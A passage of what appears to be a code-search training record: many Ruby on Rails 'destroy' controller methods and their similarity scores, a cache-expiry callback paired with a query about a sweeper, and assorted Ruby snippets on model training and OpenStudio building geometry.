}\n format.json { head :no_content }\n end\n end", "def destroy\n @work_entry = WorkEntry.find(params[:id])\n @work_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to work_entries_url }\n format.json { head :ok }\n end\n end", "def destroy\n @workout_logging.destroy\n respond_to do |format|\n format.html { redirect_to workout_loggings_url, notice: 'Workout logging was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_posted_homework = MyPostedHomework.find(params[:id])\n @my_posted_homework.destroy\n\n respond_to do |format|\n format.html { redirect_to my_posted_homeworks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workobject = Workobject.find(params[:id])\n @workobject.destroy\n\n respond_to do |format|\n format.html { redirect_to workobjects_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout.destroy\n redirect_to workouts_path,\n notice: t('.success')\n end", "def destroy\n @workout_routine.destroy\n respond_to do |format|\n format.html { redirect_to workout_routines_url, notice: 'Workout routine was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @stages_work = StagesWork.find(params[:id])\r\n @stages_work.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to stages_works_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\r\n @second_work = SecondWork.find(params[:id])\r\n @second_work.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to second_works_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @workout_template = WorkoutTemplate.find(params[:id])\n @workout_template.destroy\n\n respond_to do |format|\n format.html { redirect_to workout_templates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n respond_to do |format|\n format.html { redirect_to works_url, notice: 'Work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n respond_to do |format|\n format.html { redirect_to works_url, notice: 'Work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n respond_to do |format|\n format.html { redirect_to works_url, notice: 'Work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n respond_to do |format|\n format.html { redirect_to works_url, notice: 'Work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_activity = WorkActivity.find(params[:id])\n @work_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to work_activities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n respond_to do |format|\n format.html { redirect_to user_works_url, notice: 'Work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @works_in = WorksIn.find(params[:id])\n @works_in.destroy\n\n respond_to do |format|\n format.html { redirect_to(works_ins_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to(works_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @work = Work.find(params[:id])\n @work.destroy\n\n respond_to do |format|\n format.html { redirect_to(works_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @worklist.destroy\n respond_to do |format|\n format.html { redirect_to worklists_url, notice: 'Worklist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n owner = @workout.owner\n unless current_user and (owner == current_user or current_user.admin?)\n redirect_to \"/\", alert: \"Permission Denied.\"\n end\n @workout.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Workout was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n Workphase.find(params[:id]).destroy\n #@workphase.destroy\n respond_to do |format|\n format.html { redirect_to workphases_url, notice: 'Workphase was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @howitwork.destroy\n respond_to do |format|\n format.html { redirect_to admin_howitworks_url, notice: 'Howitwork was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_log = WorkLog.find(params[:id])\n @work_log.destroy\n\n respond_to do |format|\n format.html { redirect_to work_logs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workoutsession = Workoutsession.find(params[:id])\n @workoutsession.destroy\n\n respond_to do |format|\n format.html { redirect_to(workoutsessions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @workorder.destroy\n respond_to do |format|\n format.html { redirect_to workorders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @jobshistory.destroy\n respond_to do |format|\n format.html { redirect_to jobshistories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_time.destroy\n respond_to do |format|\n format.html { redirect_to work_times_url, notice: 'Work time was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workday.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path, notice: 'Workday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n respond_to do |format|\n format.html { redirect_to works_url, notice: '删除成功!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work.destroy\n\n respond_to do |format|\n flash[:notice] = t('controller.successfully_deleted', :model => t('activerecord.models.work'))\n format.html { redirect_to works_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout.destroy\n flash[:notice] = \"Workout was successfully deleted\"\n redirect_to root_path\n end", "def destroy\n @scientific_work.destroy\n respond_to do |format|\n format.html { redirect_to scientific_works_url, notice: 'Scientific work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_history.destroy\n respond_to do |format|\n format.html { redirect_to work_histories_url, notice: 'Work history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@work = Work.find(params[:id])\n\t\t@work.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to works_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend", "def destroy\n if @workout_unit.user_id == current_user.id\n @workout_unit.destroy\n respond_to do |format|\n format.html { redirect_to workout_units_url }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @workorder = Workorder.find(params[:id])\n @workorder.destroy\n\n respond_to do |format|\n format.html { redirect_to workorders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_item_type.destroy\n respond_to do |format|\n format.html { redirect_to work_item_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_and_thema.destroy\n respond_to do |format|\n format.html { redirect_to work_and_themata_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_category.destroy\n respond_to do |format|\n format.html { redirect_to workout_categories_url, notice: 'Workout category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @homework_item = HomeworkItem.find(params[:id])\n @homework_item.destroy\n\n respond_to do |format|\n format.html { redirect_to homework_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @weekly_expectation = WeeklyExpectation.find(params[:id])\n @weekly_expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to weekly_expectations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @house_work.destroy\n respond_to do |format|\n format.html { redirect_to house_works_url, notice: 'House work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workhour.destroy\n respond_to do |format|\n format.html { redirect_to workhours_url, notice: 'Workhour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n workout_plan = @single_plan.workout_plans.first\n @single_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @work_history_item = WorkHistoryItem.find(params[:id])\n @work_history_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(work_history_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @scientific_work = ScientificWork.find(params[:id])\r\n @scientific_work.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to scientific_works_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @upwork.destroy\n respond_to do |format|\n format.html { redirect_to upworks_url, notice: 'Upwork was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workfile.destroy\n respond_to do |format|\n format.html { redirect_to workfiles_url, notice: 'Workfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @worksession.destroy\n respond_to do |format|\n format.html { redirect_to user_worksessions_path(current_user.id), notice: 'Worksession was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_time_trial = MyTimeTrial.find(params[:id])\n @my_time_trial.destroy\n\n respond_to do |format|\n format.html { redirect_to my_time_trials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end", "def destroy\n @workstation = Workstation.find(params[:id])\n @workstation.destroy\n\n respond_to do |format|\n format.html { redirect_to workstations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workdetail = Workdetail.find(params[:id])\n @workdetail.destroy\n @taskid = @workdetail.task_id\n respond_to do |format|\n format.html { redirect_to :action => \"show\", :id => @taskid }\n format.json { head :no_content }\n end\n end", "def destroy\n @default_shift = DefaultShift.find(params[:id])\n @default_shift.destroy\n\n respond_to do |format|\n format.html { redirect_to default_shifts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_day.destroy\n respond_to do |format|\n format.html { redirect_to work_days_url, notice: 'Work day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @academic_work = AcademicWork.find(params[:id])\r\n @academic_work.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to academic_works_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @work_duration.destroy\n respond_to do |format|\n format.html { redirect_to work_durations_url, notice: 'Work duration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_schedule.destroy\n respond_to do |format|\n format.html { redirect_to work_schedules_url, notice: 'Work schedule was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_date = WorkoutDate.find(params[:id])\n @workout_date.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_dates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @custom.destroy\n respond_to do |format|\n format.html { redirect_to customs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @task = Task.find(params[:id])\n @task.works.destroy_all\n @task.destroy\n\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "def destroy\n @closed_shift.destroy\n respond_to do |format|\n format.html { redirect_to closed_shifts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_order_work_task.destroy\n respond_to do |format|\n format.html { redirect_to work_order_work_tasks_url, notice: 'Work order work task was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @academic_work.destroy\n render json: nil, status: :ok\n else\n render json: nil, status: :internal_server_error\n end\n end", "def destroy\n @model_workout_sheet.destroy\n respond_to do |format|\n format.html { redirect_to model_workout_sheets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @work_hour.destroy\n respond_to do |format|\n format.html { redirect_to work_hours_url, notice: 'Work hour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workshare.destroy\n respond_to do |format|\n format.html { redirect_to workshares_url, notice: 'Workshare was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @customer_project_work.destroy\n respond_to do |format|\n format.html { redirect_to customer_project_works_url, notice: 'Customer project work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @shift.destroy\n respond_to do |format|\n format.html { redirect_to shifts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shift.destroy\n respond_to do |format|\n format.html { redirect_to shifts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classwork.destroy\n respond_to do |format|\n format.html { redirect_to classworks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workout_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to programs_path }\n format.xml { head :ok }\n end\n end", "def destroy\n @team = Team.find(params[:team_id])\n @workout = @team.workouts.find(params[:workout_id])\n @practice = @workout.practices.find(params[:id])\n @practice.destroy\n\n respond_to do |format|\n format.html { redirect_to team_workout_practices_url(@team, @workout) }\n format.json { head :no_content }\n end\n end", "def destroy\n workout_plan = @cardio_plan.workout_plans.first\n @cardio_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @workshop.destroy\n respond_to do |format|\n format.html { redirect_to workshops_url, notice: 'Workshop was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bmet_work_order.really_destroy!\n respond_to do |format|\n format.html { redirect_to bmet_work_orders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @workorder.destroy\n respond_to do |format|\n format.html { redirect_to workorders_url, notice: 'Workorder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @shop_stylist_workday.destroy\n respond_to do |format|\n format.html { redirect_to shop_stylist_workdays_url, notice: 'Shop stylist workday was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @workpiece.destroy\n respond_to do |format|\n format.html { redirect_to workpieces_url, notice: 'Workpiece was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.79460603", "0.77279824", "0.7672459", "0.76446676", "0.7505636", "0.746544", "0.74533933", "0.74256665", "0.73984593", "0.7375284", "0.735805", "0.7272293", "0.7200361", "0.7187809", "0.7158609", "0.7149895", "0.714665", "0.714665", "0.714665", "0.714665", "0.71121323", "0.70975834", "0.70968926", "0.70484686", "0.70103127", "0.6977665", "0.69759476", "0.69510037", "0.69490975", "0.6942223", "0.6906545", "0.6906545", "0.6906545", "0.6906545", "0.6886601", "0.6882369", "0.68806785", "0.6862773", "0.6862773", "0.685636", "0.6855139", "0.68548876", "0.6852659", "0.6843312", "0.68381095", "0.6833899", "0.6812696", "0.681049", "0.6802445", "0.67818695", "0.67747724", "0.67684525", "0.6761991", "0.67589974", "0.6758975", "0.6758578", "0.6756927", "0.6733816", "0.67261267", "0.6724352", "0.672249", "0.67123175", "0.6709827", "0.6700263", "0.6685392", "0.6677018", "0.6674539", "0.66716987", "0.66623235", "0.6658374", "0.6649328", "0.6644875", "0.6644732", "0.6643487", "0.66428477", "0.66411", "0.6634831", "0.66321665", "0.6630676", "0.6626886", "0.6624399", "0.6617497", "0.6616799", "0.66145986", "0.66138905", "0.6600785", "0.66006124", "0.66005826", "0.6599175", "0.6598615", "0.6598615", "0.6594071", "0.6593051", "0.65865594", "0.65848994", "0.65816003", "0.6581467", "0.6580451", "0.65763783", "0.65641403" ]
0.77093947
2
This sweeper is going to keep an eye on the r model
def after_create(r) expire_cache_for(r) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def broadcasting_for(model); end", "def mutate\n @weights = (1..@size).map { Random.rand(-0.5..0.5) }\n end", "def rebuild_weight_array\n end", "def test_recycling_robot\n @alpha = 0.1\n @beta = 0.1\n @r_search = 2\n @r_wait = 1\n @r_rescue = -3\n\n table_model = TableModel.new [\n [:high, :search, :high, @alpha, @r_search],\n [:high, :search, :low, 1 - @alpha, @r_search],\n [:low, :search, :high, 1 - @beta, @r_rescue],\n [:low, :search, :low, @beta, @r_search],\n [:high, :wait, :high, 1, @r_wait],\n [:high, :wait, :low, 0, @r_wait],\n [:low, :wait, :high, 0, @r_wait],\n [:low, :wait, :low, 1, @r_wait],\n [:low, :recharge, :high, 1, 0],\n [:low, :recharge, :low, 0, 0]\n ]\n\n assert_equal 10, table_model.rows.size\n\n # check round trips for different model formats; don't sparsify yet\n check_recycling_robot_model table_model, false\n check_recycling_robot_model TableModel.from_model(table_model, false), false\n\n hash_model = HashModel.from_model(table_model, false)\n check_recycling_robot_model hash_model, false\n check_recycling_robot_model TableModel.from_model(hash_model, false), false\n\n array_model = ArrayModel.from_model(table_model, false)\n check_recycling_robot_model array_model, false\n check_recycling_robot_model TableModel.from_model(array_model, false), false\n\n # if we sparsify, we should lose some rows\n sparse_table_model = TableModel.from_model(table_model)\n assert_equal 7, sparse_table_model.rows.size\n check_recycling_robot_model sparse_table_model, true\n\n sparse_hash_model = HashModel.from_model(table_model)\n check_recycling_robot_model sparse_hash_model, true\n check_recycling_robot_model TableModel.from_model(sparse_hash_model), true\n\n sparse_array_model = ArrayModel.from_model(table_model)\n check_recycling_robot_model sparse_array_model, true\n check_recycling_robot_model TableModel.from_model(sparse_array_model), true\n\n # once they're gone, they don't come back\n sparse_hash_model = HashModel.from_model(sparse_table_model, false)\n check_recycling_robot_model sparse_hash_model, true\n\n # try solving with value iteration\n solver = Solver.new(table_model, 0.95, Hash.new { :wait })\n stable = solver.value_iteration(tolerance: 1e-4, max_iters: 200)\n assert stable, 'did not converge'\n assert_equal({ high: :search, low: :recharge }, solver.policy)\n\n # try solving with policy iteration using iterative policy evaluation\n solver = Solver.new(table_model, 0.95, Hash.new { :wait })\n stable = solver.policy_iteration(\n value_tolerance: 1e-4, max_value_iters: 2, max_policy_iters: 50\n ) do |num_policy_iters, num_actions_changed, num_value_iters, value_delta|\n assert num_policy_iters >= 0\n assert num_actions_changed.nil? || num_actions_changed >= 0\n assert num_value_iters > 0\n assert value_delta >= 0\n end\n assert_equal true, stable, 'did not find stable policy'\n assert_equal({ high: :search, low: :recharge }, solver.policy)\n\n # try solving with policy iteration using exact policy evaluation\n gamma = 0.95\n solver = Solver.new(table_model, gamma, Hash.new { :wait })\n stable = solver.policy_iteration_exact(max_iters: 20) do |*args|\n assert_equal 2, args.size\n num_iters, num_actions_changed = args\n assert num_iters > 0\n assert num_actions_changed >= 0\n end\n assert_equal true, stable, 'did not find stable policy'\n assert_equal({ high: :search, low: :recharge }, solver.policy)\n\n # check the corresponding state-action values (Q(s,a) values)\n v = solver.value\n q_high_search =\n @alpha * (@r_search + gamma * v[:high]) +\n (1 - @alpha) * (@r_search + gamma * v[:low])\n q_high_wait = @r_wait + gamma * v[:high]\n q_low_search =\n (1 - @beta) * (@r_rescue + gamma * v[:high]) +\n @beta * (@r_search + gamma * v[:low])\n q_low_wait = @r_wait + gamma * v[:low]\n q_low_recharge = 0 + gamma * v[:high]\n\n q = solver.state_action_value\n assert_close q[%i[high search]], q_high_search\n assert_close q[%i[high wait]], q_high_wait\n assert_close q[%i[low search]], q_low_search\n assert_close q[%i[low wait]], q_low_wait\n assert_close q[%i[low recharge]], q_low_recharge\n end", "def modeler_description\n return 'Determine the thickness of expanded polystyrene insulation required to meet the specified R-value. Find all the constructions used by exterior walls in the model, clone them, add a layer of insulation to the cloned constructions, and then assign the construction back to the wall.'\n end", "def cache_sweeper(watches: T.unsafe(nil)); end", "def rotateWorker()\n\t\t# Pick a worker at random and remove them\n\t\tremoveIdx = (rand() * @workers.length).to_i\n\t\t@workers.delete_at(removeIdx)\n\t\t@weights.delete_at(removeIdx)\n\t\t#puts(\"Removing #{removeIdx}\")\n\n\t\t# Create a new random worker with the given prob of being noise\n\t\tr = rand()\n\t\tif( r < @@Alpha )\n\t\t\t#puts(\"Adding OPTIMAL.\")\n\t\t\t@workers << OptimalWorker.new(@actions)\n\t\telse\n\t\t\t#puts(\"Adding RANDOM.\")\n\t\t\t@workers << RandomWorker.new(@actions)\n\t\tend\n\n\t\t@weights << 1.0\n\tend", "def shuffle()\n \n end", "def make_inner_connections\n per_batch = 1000\n\n inner_neigh = Answer.where(:question_id => self.question_id, :team_id => self.team_id).shuffle[0..99]\n\ninner_neigh.each do |a|\n #0.step(inner_neigh.count, per_batch) do |offset|\n # inner_neigh.limit(per_batch).skip(offset).each do |a|\n if self.id != a.id\n SimilarityMachine::create_connection(self,a)\n end\n #end\n # end\nend\n\n true\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # assign the user inputs to variables\n args = OsLib_HelperMethods.createRunVariables(runner, model, user_arguments, arguments(model))\n if !args then return false end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building started with #{model.getShadingSurfaces.size} shading surfaces.\")\n\n # find thermal zones with multiplier greater than 1\n zones_to_alter = {}\n model.getThermalZones.each do |zone|\n if zone.multiplier > 1\n puts \"#{zone.name} has a multiplier of #{zone.multiplier}\"\n zones_to_alter[zone.spaces] = zone.multiplier\n end\n end\n\n # gather inputs\n z_offset_si = OpenStudio.convert(args['z_offset_dist'], 'ft', 'm').get\n\n # gather surfaces to copy\n surfaces_to_copy = {}\n zones_to_alter.each do |spaces, multiplier|\n spaces.each do |space|\n # space_origin\n origin = [space.xOrigin, space.yOrigin, space.zOrigin]\n\n origin_pos_z = space.zOrigin\n args['z_num_pos'].times do\n origin_pos_z += z_offset_si\n\n # make shading surface group and set origin\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface_group.setXOrigin(origin[0])\n shading_surface_group.setYOrigin(origin[1])\n shading_surface_group.setZOrigin(origin_pos_z)\n\n space.surfaces.each do |surface|\n next if surface.outsideBoundaryCondition != 'Outdoors'\n\n surfaces_to_copy[surface] = multiplier\n\n # store vertices\n vertices = surface.vertices\n\n # make shading surface for new group\n shading_surface = OpenStudio::Model::ShadingSurface.new(vertices, model)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n shading_surface.setName(\"mult - #{surface.name}\")\n end\n end\n\n origin_neg_z = space.zOrigin\n num_nug = (multiplier - args['z_num_pos']) - 1 # one copy already exist, so only need multiplier - 1\n num_nug.times do\n origin_neg_z -= z_offset_si\n\n # make shading surface group and set origin\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface_group.setXOrigin(origin[0])\n shading_surface_group.setYOrigin(origin[1])\n shading_surface_group.setZOrigin(origin_neg_z)\n\n space.surfaces.each do |surface|\n next if surface.outsideBoundaryCondition != 'Outdoors'\n\n surfaces_to_copy[surface] = multiplier\n\n # store vertices\n vertices = surface.vertices\n\n # make shading surface for new group\n shading_surface = OpenStudio::Model::ShadingSurface.new(vertices, model)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n shading_surface.setName(\"mult - #{surface.name}\")\n end\n end\n end\n end\n\n # TODO: - stretching on non orthogonal won't work, take different approach in those cases.\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getShadingSurfaces.size} surfaces.\")\n\n return true\n end", "def train\n @weights.each_index do |i| \n # alter weight and apply momentum\n @weights[i] = @weights[i] + (@rate * inputs[i] * @gradient)\n @weights[i] = @weights[i] + @momentum * @lastchange\n \n @lastchange = @rate * inputs[i] * @gradient\n end\n @weights\n end", "def make_outer_connections\n per_batch = 1000\n\n outer_neigh = Answer.where(:question_id.ne => self.question_id, :team_id => self.team_id).shuffle[0..99]\n\nouter_neigh.each do |a|\n #0.step(outer_neigh.count, per_batch) do |offset|\n # outer_neigh.limit(per_batch).skip(offset).each do |a|\n if self.id != a.id\n SimilarityMachine::create_connection(self,a)\n end\n # end\n #end\nend\n\n true\n end", "def train_model( instances )\n instances = [ instances ] unless instances.class == Array\n # First randomize data **TODO** Use GSL for ranomization\n instances.sort!{ |xx,yy| rand(3) + 1 }\n # Step through each instance.\n instances.each do |inst|\n # First, predict based on current weights\n sum = score( inst )\n # Now, if we predict incorrectly, then we need to adjust weights\n if sum > @threshold\n # Fix weights for false positives\n demote!( inst ) if !inst.is_class\n else\n # Fix weights for false negatives\n promote!( inst ) if inst.is_class\n end\n end\n instances.push( *instances )\n end", "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\t\n left_neighbor_offset = OpenStudio::convert(runner.getDoubleArgumentValue(\"left_offset\",user_arguments),\"ft\",\"m\").get\n right_neighbor_offset = OpenStudio::convert(runner.getDoubleArgumentValue(\"right_offset\",user_arguments),\"ft\",\"m\").get\n back_neighbor_offset = OpenStudio::convert(runner.getDoubleArgumentValue(\"back_offset\",user_arguments),\"ft\",\"m\").get\n front_neighbor_offset = OpenStudio::convert(runner.getDoubleArgumentValue(\"front_offset\",user_arguments),\"ft\",\"m\").get\n\t\n if left_neighbor_offset < 0 or right_neighbor_offset < 0 or back_neighbor_offset < 0 or front_neighbor_offset < 0\n runner.registerError(\"Neighbor offsets must be greater than or equal to 0.\")\n return false\n end\n \n least_x = 1000\n greatest_x = -1000\n least_y = 1000\n greatest_y = -1000\n\t\n surfaces = model.getSurfaces\n if surfaces.size == 0\n runner.registerAsNotApplicable(\"No surfaces found to copy for neighboring buildings.\")\n return true\n end\n \n # remove existing neighbors\n model.getShadingSurfaceGroups.each do |shading_surface_group|\n next unless shading_surface_group.name.to_s == Constants.ObjectNameNeighbors\n shading_surface_group.remove\n runner.registerInfo(\"Removed existing #{Constants.ObjectNameNeighbors}.\")\n end\n \n if [left_neighbor_offset, right_neighbor_offset, back_neighbor_offset, front_neighbor_offset].all? {|offset| offset == 0}\n runner.registerAsNotApplicable(\"No neighbors to be added.\")\n return true\n end\n \n # get x and y minima and maxima of wall surfaces\n surfaces.each do |surface|\n if surface.surfaceType.downcase == \"wall\"\n vertices = surface.vertices\n vertices.each do |vertex|\n if vertex.x > greatest_x\n greatest_x = vertex.x\n end\n if vertex.x < least_x\n least_x = vertex.x\n end\n if vertex.y > greatest_y\n greatest_y = vertex.y\n end\n if vertex.y < least_y\n least_y = vertex.y\n end\n end\n end\n end\n\t \n # this is maximum building length or width + user specified neighbor offset\n left_offset = ((greatest_x - least_x) + left_neighbor_offset)\n right_offset = -((greatest_x - least_x) + right_neighbor_offset)\n back_offset = -((greatest_y - least_y) + back_neighbor_offset)\n front_offset = ((greatest_y - least_y) + front_neighbor_offset)\n\t\t\t\n directions = [[Constants.FacadeLeft, left_neighbor_offset, left_offset, 0], [Constants.FacadeRight, right_neighbor_offset, right_offset, 0], [Constants.FacadeBack, back_neighbor_offset, 0, back_offset], [Constants.FacadeFront, front_neighbor_offset, 0, front_offset]]\n \n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model)\n shading_surface_group.setName(Constants.ObjectNameNeighbors)\n \n directions.each do |facade, neighbor_offset, x_offset, y_offset|\n if neighbor_offset != 0\n model.getSpaces.each do |space|\n space.surfaces.each do |existing_surface|\n next if existing_surface.outsideBoundaryCondition.downcase != \"outdoors\" and existing_surface.outsideBoundaryCondition.downcase != \"adiabatic\"\n next if existing_surface.adjacentSurface.is_initialized\n next if existing_surface.outsideBoundaryCondition.downcase == \"adiabatic\" and !space.name.to_s.downcase.include? Constants.CorridorSpace\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[0,3] = -x_offset\n m[1,3] = -y_offset\n m[2,3] = space.zOrigin\n transformation = OpenStudio::Transformation.new(m)\n new_vertices = transformation * existing_surface.vertices\n shading_surface = OpenStudio::Model::ShadingSurface.new(new_vertices, model)\n shading_surface.setName(Constants.ObjectNameNeighbors(facade))\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n runner.registerInfo(\"Created '#{shading_surface.name}' from '#{existing_surface.name}'\")\n end \n end\n model.getShadingSurfaces.each do |existing_shading_surface|\n next unless existing_shading_surface.name.to_s.downcase.include? \"eaves\"\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[0,3] = -x_offset\n m[1,3] = -y_offset\n transformation = OpenStudio::Transformation.new(m)\n new_vertices = transformation * existing_shading_surface.vertices\n shading_surface = OpenStudio::Model::ShadingSurface.new(new_vertices, model)\n shading_surface.setName(Constants.ObjectNameNeighbors(facade))\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n runner.registerInfo(\"Created '#{shading_surface.name}' from '#{existing_shading_surface.name}'\")\t \n end\n end\n end \n\n return true\n\n end", "def shuffle!\n @rep.shuffle!\n end", "def witcher; end", "def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n # use the built-in error checking\r\n if !runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n z = OpenStudio::Vector.new(3)\r\n z[0] = 0\r\n z[1] = 0\r\n z[2] = 1\r\n \r\n allVertices = []\r\n objVertices = \"\"\r\n objFaces = \"\"\r\n allMaterials = []\r\n\r\n # all planar surfaces\r\n model.getPlanarSurfaces.each do |surface|\r\n\r\n # handle sub surfaces later\r\n next if !surface.to_SubSurface.empty?\r\n \r\n surfaceID = getSurfaceID(surface)\r\n allMaterials << getMaterial(surface)\r\n \r\n surfaceVertices = surface.vertices\r\n t = OpenStudio::Transformation::alignFace(surfaceVertices)\r\n r = t.rotationMatrix\r\n tInv = t.inverse\r\n \r\n siteTransformation = OpenStudio::Transformation.new\r\n planarSurfaceGroup = surface.planarSurfaceGroup\r\n if not planarSurfaceGroup.empty?\r\n siteTransformation = planarSurfaceGroup.get.siteTransformation\r\n end\r\n \r\n surfaceVertices = tInv*surfaceVertices\r\n \r\n subSurfaces = []\r\n subSurfaceVertices = OpenStudio::Point3dVectorVector.new\r\n if !surface.to_Surface.empty?\r\n subSurfaces = surface.to_Surface.get.subSurfaces\r\n subSurfaces.each do |subSurface|\r\n subSurfaceVertices << tInv*subSurface.vertices\r\n end\r\n end\r\n\r\n triangles = OpenStudio::computeTriangulation(surfaceVertices, subSurfaceVertices)\r\n if triangles.empty?\r\n runner.registerWarning(\"Failed to triangulate #{surface.iddObject.name} #{surface.name} with #{subSurfaces.size} sub surfaces\")\r\n end\r\n \r\n objFaces += \"##{surface.name}\\n\"\r\n objFaces += \"g #{surface.name}\\n\"\r\n objFaces += \"usemtl #{surfaceID}\\n\"\r\n triangles.each do |vertices|\r\n vertices = siteTransformation*t*vertices\r\n normal = siteTransformation.rotationMatrix*r*z\r\n\r\n indices = []\r\n vertices.each do |vertex|\r\n indices << getVertexIndex(vertex, allVertices)\r\n end\r\n \r\n #objFaces += \" usemtl #{surfaceID}\\n\"\r\n objFaces += \" f #{indices.join(' 